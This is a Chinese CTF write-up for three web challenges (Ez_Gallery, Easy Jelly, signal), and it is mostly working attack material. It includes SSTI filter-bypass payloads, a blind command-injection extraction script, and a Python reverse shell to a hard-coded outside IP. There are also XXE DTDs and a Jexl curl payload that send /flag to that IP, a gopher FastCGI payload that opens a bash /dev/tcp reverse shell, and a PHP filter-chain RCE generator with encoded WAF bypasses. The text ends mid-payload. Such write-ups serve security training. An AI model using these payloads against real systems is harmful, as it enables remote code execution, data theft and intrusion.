【Web】2024“国城杯”网络安全挑战大赛题解

Z3r4y2024-12-11 22:07

目录

Ez_Gallery

法一：shell盲注

法二：反弹shell

法三：响应钩子回显

[Easy Jelly](#Easy Jelly)

法一：无回显XXE

法二：Jexl表达式RCE

signal

法一：SSRF

[法二：filterchain RCE](#法二：filterchain RCE)

用这个bp验证码爆破插件爆出来密码123456(不爆也行)

全网最简单的 burp 验证码识别爆破_captcha-killer-modified-CSDN博客

admin:123456成功登录

任意文件读到源码

复制代码 
/info?file=../../../../../../proc/self/cmdline

/info?file=../../../../../../app/app.py

/shell路由存在SSTI

比较烦的是过滤了数字和.

不能有.点号，用attr过滤器来绕过，为了方便执行命令，用request.POST.get()获取请求参数

复制代码 
/shell?shellcmd={{lipsum|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')(request|attr('POST')|attr('get')('shell'))}}

post传

复制代码 
shell=__import__('os').system('sleep 10')

无回显shell执行，成功睡10秒

法一：shell盲注

直接shell盲注(因为靶机有点卡，睡的时间设长防止误差)

复制代码 
import requests
import string
import time

# 目标服务器的 URL（固定的 GET 请求 URL）
url = 'http://125.70.243.22:31747/shell?shellcmd={{lipsum|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")(request|attr("POST")|attr("get")("shell"))}}'

# 定义字符集，假设我们正在盲注读取 /readflag 输出
charset = string.ascii_letters + string.digits + '{' + '}' + '-'

# 请求头部
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Connection': 'close'
}

# Cookie 信息
cookies = {
    'session': 'RPdwg8S51OrFuUkHWtvnV6kIs6aIGeX4rPi1mmV1wLc7Opf9DOppqQFjHm-2rRScYA2jCMFm1fiRXJdyYavOnVsxNzMzNTYxNjQ2LCAxNzMzNTM2MTczLjg2ODQ0NywgeyJ1c2VybmFtZSI6ICJhZG1pbiJ9XQ'
}

# 使用 requests.Session() 保持会话
session = requests.Session()
session.headers.update(headers)  # 设置请求头
session.cookies.update(cookies)  # 设置 Cookie


# 提取命令执行结果的函数
def get_readflag_output():
    output = ''
    i = 1  # 逐字符遍历

    while True:
        for c in charset:
            # 拼接时间盲注命令，利用 sleep 延时来判断字符
            command = f"sleep $(/readflag | cut -c {i} | tr {c} 8)"

            # 构造 POST 请求的 shell 参数
            shell = f'__import__("os").system("{command}")'

            # 构造 POST 请求的 data 参数
            data = {
                'shell': shell
            }

            # 发送 POST 请求并测量响应时间
            start_time = time.time()
            response = session.post(url, data=data)  # 使用 POST 请求保持会话
            end_time = time.time()

            # 打印每次尝试的字符和响应时间
            time_taken = end_time - start_time
            print(f"Attempting to extract character at position {i}:")
            print(f"Trying character: '{c}', Time taken: {time_taken:.4f}s")

            # 打印服务器的响应体（限制输出）
            if len(response.text) < 500:  # 限制响应体输出，避免过大
                print(f"Server response:\n{response.text}\n{'-'*50}")
            else:
                print(f"Server response too large to display.")

            # 如果响应时间超过阈值，说明字符匹配
            if time_taken > 8.0:  # 如果延时大于8.0秒，说明字符匹配
                print(f"Found matching character: '{c}'")
                output += c
                break

        # 判断是否完整获取一位字符
        if len(output) == i:
            print(f"Current output so far: '{output}'")
            i += 1
        else:
            print(f"Output fully obtained: '{output}'")
            break

    return output


# 获取命令的完整输出
if __name__ == "__main__":
    print("Starting to extract the output of /readflag command...\n")
    output = get_readflag_output()
    print(f"\nFinal output of /readflag: '{output}'")

法二：反弹shell

复制代码 
/shell?shellcmd={{lipsum|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')(request|attr('POST')|attr('get')('shell'))}}

post传

复制代码 
shell=__import__('os').system('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.120.42.156",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")\'')

法三：响应钩子回显

https://docs.pylonsproject.org/projects/pyramid/en/1.4-branch/narr/hooks.html

payload:

复制代码 
/shell?shellcmd={{lipsum|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('exec')("getattr(request,'add_response_callback')(lambda+request,response:setattr(response,'text',getattr(getattr(__import__('os'),'popen')('/readflag'),'read')()))",{'request':request})}}

​​​​

Easy Jelly

jelly的介绍：Jelly - Jelly : Executable XML

漏洞点很明显

法一：无回显XXE

WAF存在XXE

打无回显XXE

vps上1.xml

复制代码 
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % dtd SYSTEM "http://47.120.42.156:1338/evil.dtd">
%dtd;
]>

evil.dtd的内容

复制代码 
<!ENTITY % all "<!ENTITY &#x25; send  SYSTEM 'http://47.120.42.156:1339/%file;'> ">
%all;
%send;

payload:

复制代码 
/jelly?uri=http://47.120.42.156:1338/1.xml

成功接收到flag

法二：Jexl表达式RCE

复制代码 
<?xml version="1.0" encoding="utf-8"?>
<j:jelly xmlns:j="jelly:core">
    <j:getStatic var="str" 
                 className="org.apache.commons.jelly.servlet.JellyServlet" 
                 field="REQUEST"/>
    <j:whitespace>
        ${str.class.forName('javax.script.ScriptEngineManager').newInstance()
        .getEngineByName('js')
        .eval('java.lang.Runtime.getRuntime().exec(&quot; curl http://47.120.42.156:1339?flag=`cat /flag` &quot;)')}
    </j:whitespace>
</j:jelly>

signal

扫目录

访问/.index.php.swp下载index.php.swp

复制代码 
vim -r index.php.swp

拿到账密：guest:MyF3iend

可以任意文件读

去读index.php直接显示了初始界面，说明是include进行包含

php伪协议似乎被ban了

尝试二次编码绕过读到admin.php

复制代码 
/guest.php?path=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=/var/www/html/admin.php

base64解码拿到admin.php源码，发现需要以admin登录才能使用SSRF功能

复制代码 
<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
    $_SESSION['error'] = 'Please fill in the username and password';
    header("Location: index.php");
    exit();
}

$url = $_POST['url'];
$error_message = '';
$page_content = '';

if (isset($url)) {
    if (!preg_match('/^https:\/\//', $url)) {
        $error_message = 'Invalid URL, only https allowed';
    } else {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $page_content = curl_exec($ch);
        if ($page_content === false) {
            $error_message = 'Failed to fetch the URL content';
        }
        curl_close($ch);
    }
}
?>

法一：SSRF

初始界面有一个存储账户的文件

读一下

复制代码 
/guest.php?path=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=/var/www/html/StoredAccounts.php

base64解码拿到admin密码FetxRuFebAdm4nHace

admin:FetxRuFebAdm4nHace登录，获取一个限制以https开头的SSRF

我的vps是裸IP，所以用Cloudflare Worker的临时域名来起个服务

https://workers.cloudflare.com/

先Gopherus生成打fastcgi的payload

再Cloudflare用临时域名中起个302服务

复制代码 
export default {
  async fetch(request, env, ctx) {
    // 设置要跳转的目标 URL
    const redirectUrl = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH105%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00i%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.120.42.156/1339%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';  // 替换为你要跳转的网页地址

    // 返回一个 302 响应，指向指定的 URL
    return Response.redirect(redirectUrl, 302);
  }
};

平台服务器上不了外网，弹上shell该咋样咋样，不做了😋

法二：filterchain RCE

复制代码 
/guest.php?path=php://filter/%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2565%256e%2563%256f%2564%2565/resource=/var/www/html/guest.php

同理读到guest.php

复制代码 
<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest' ) {
    $_SESSION['error'] = 'Please fill in the username and password';
    header('Location: index.php');
    exit();
}

if (!isset($_GET['path'])) {
    header("Location: /guest.php?path=/tmp/hello.php");
    exit;
}

$path = $_GET['path'];
if (preg_match('/(\.\.\/|php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) {
    echo "Don't do this";
}else{
    include($path);
}

?>

参考NepCTF 2024-菜鸟赛后总结-Web -- 然飞ranfeyのブログ世界打filterchainRCE

因为是GET传参，为尽量缩短payload长度，我们的base64_payload要用最短webshell<?=`$_POST[1]`;?>

再把生成的payload对照waf名单做最短二次编码

复制代码 
<?php
$base64_payload = "PD89YCRfUE9TVFsxXWA7Pz4="; /*<?=`$_POST[1]`;?>*/
$conversions = array(
    '/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    '1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
    '5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
    '6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
    'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=index.php";
echo $final_payload;

text = '''php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7||convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=index.php'''

a = "string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|_|ve|se"
a = a.split('|')

for i in a:
    tmp = i[0]  # 获取字符串的第一个字符
    tmp = hex(ord(tmp))[2:]  # 获取字符的十六进制表示
    tmp = '%25' + tmp + i[1:]  # 将字符转换为 URL 编码形式
    # print(tmp)  # 可以选择打印输出查看结果
    if i in text:
        text = text.replace(i, tmp)  # 替换原始文本中的匹配字符串

print(text)

payload:

复制代码 
/guest.php?path=php://filter/%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7||%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.U%2554F8.U%2554F16LE|%2563on%2576ert.%2569conv.U%2554F8.%2543S%2549SO2022%254bR|%2563on%2576ert.%2569conv.%2555%2543S2.EUCTW|%2563on%2576ert.%2569conv.L4.U%2554F8|%2563on%2576ert.%2569conv.IEC%255fP271.%2555%2543S2|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.865.U%2554F16|%2563on%2576ert.%2569conv.%2543P901.%2549SO6937|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.%2553E2.U%2554F-16|%2563on%2576ert.%2569conv.%2543SI%2542M1161.I%2542M-932|%2563on%2576ert.%2569conv.%254dS932.%254dS936|%2563on%2576ert.%2569conv.BIG5.JOHAB|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.U%2554F8.U%2554F16LE|%2563on%2576ert.%2569conv.U%2554F8.%2543S%2549SO2022%254bR|%2563on%2576ert.%2569conv.%2555%2543S2.EUCTW|%2563on%2576ert.%2569conv.L4.U%2554F8|%2563on%2576ert.%2569conv.866.%2555%2543S2|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.8859%255f3.U%2554F16|%2563on%2576ert.%2569conv.863.%2553HIFT%255fJ%2549SX0213|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.%2553E2.U%2554F-16|%2563on%2576ert.%2569conv.%2543SI%2542M1161.I%2542M-932|%2563on%2576ert.%2569conv.%254dS932.%254dS936|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.PT.U%2554F32|%2563on%2576ert.%2569conv.KOI8-U.I%2542M-932|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.%2543P-AR.U%2554F16|%2563on%2576ert.%2569conv.8859%255f4.BIG5HKS%2543S|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.I%2542M869.U%2554F16|%2563on%2576ert.%2569conv.L3.%2543S%2549SO90|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.L5.U%2554F-32|%2563on%2576ert.%2569conv.%2549SO88594.GB13000|%2563on%2576ert.%2569conv.%2543P950.%2553HIFT%255fJ%2549SX0213|%2563on%2576ert.%2569conv.UHC.JOHAB|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.%2543P861.U%2554F-16|%2563on%2576ert.%2569conv.L4.GB13000|%2563on%2576ert.%2569conv.BIG5.JOHAB|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.L6.UNICODE|%2563on%2576ert.%2569conv.%2543P1282.%2549SO-IR-90|%2563on%2576ert.%2569conv.%2543SA%255fT500.L4|%2563on%2576ert.%2569conv.%2549SO%255f8859-2.%2549SO-IR-103|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.U%2554F8.%2543S%2549SO2022%254bR|%2563on%2576ert.%2569conv.%2549SO2022%254bR.U%2554F16|%2563on%2576ert.%2569conv.%2549SO6937.JOHAB|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.I%2542M860.U%2554F16|%2563on%2576ert.%2569conv.%2549SO-IR-143.%2549SO2022CNEXT|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%2569conv.U%2554F8.U%2554F7|%2563on%2576ert.%2569conv.U%2554F8.%2543S%2549SO2022%254bR|%2563on%2576ert.%2569conv.%2549SO2022%254bR.U%2554F16|%2563on%2576ert.%2569conv.%2543P1133.I%2542M932|%2563on%2576ert.%2562a%2573e64-%2564ecode|%2563on%2576ert.%2562a%2573e64-encode|%2563on%2576ert.%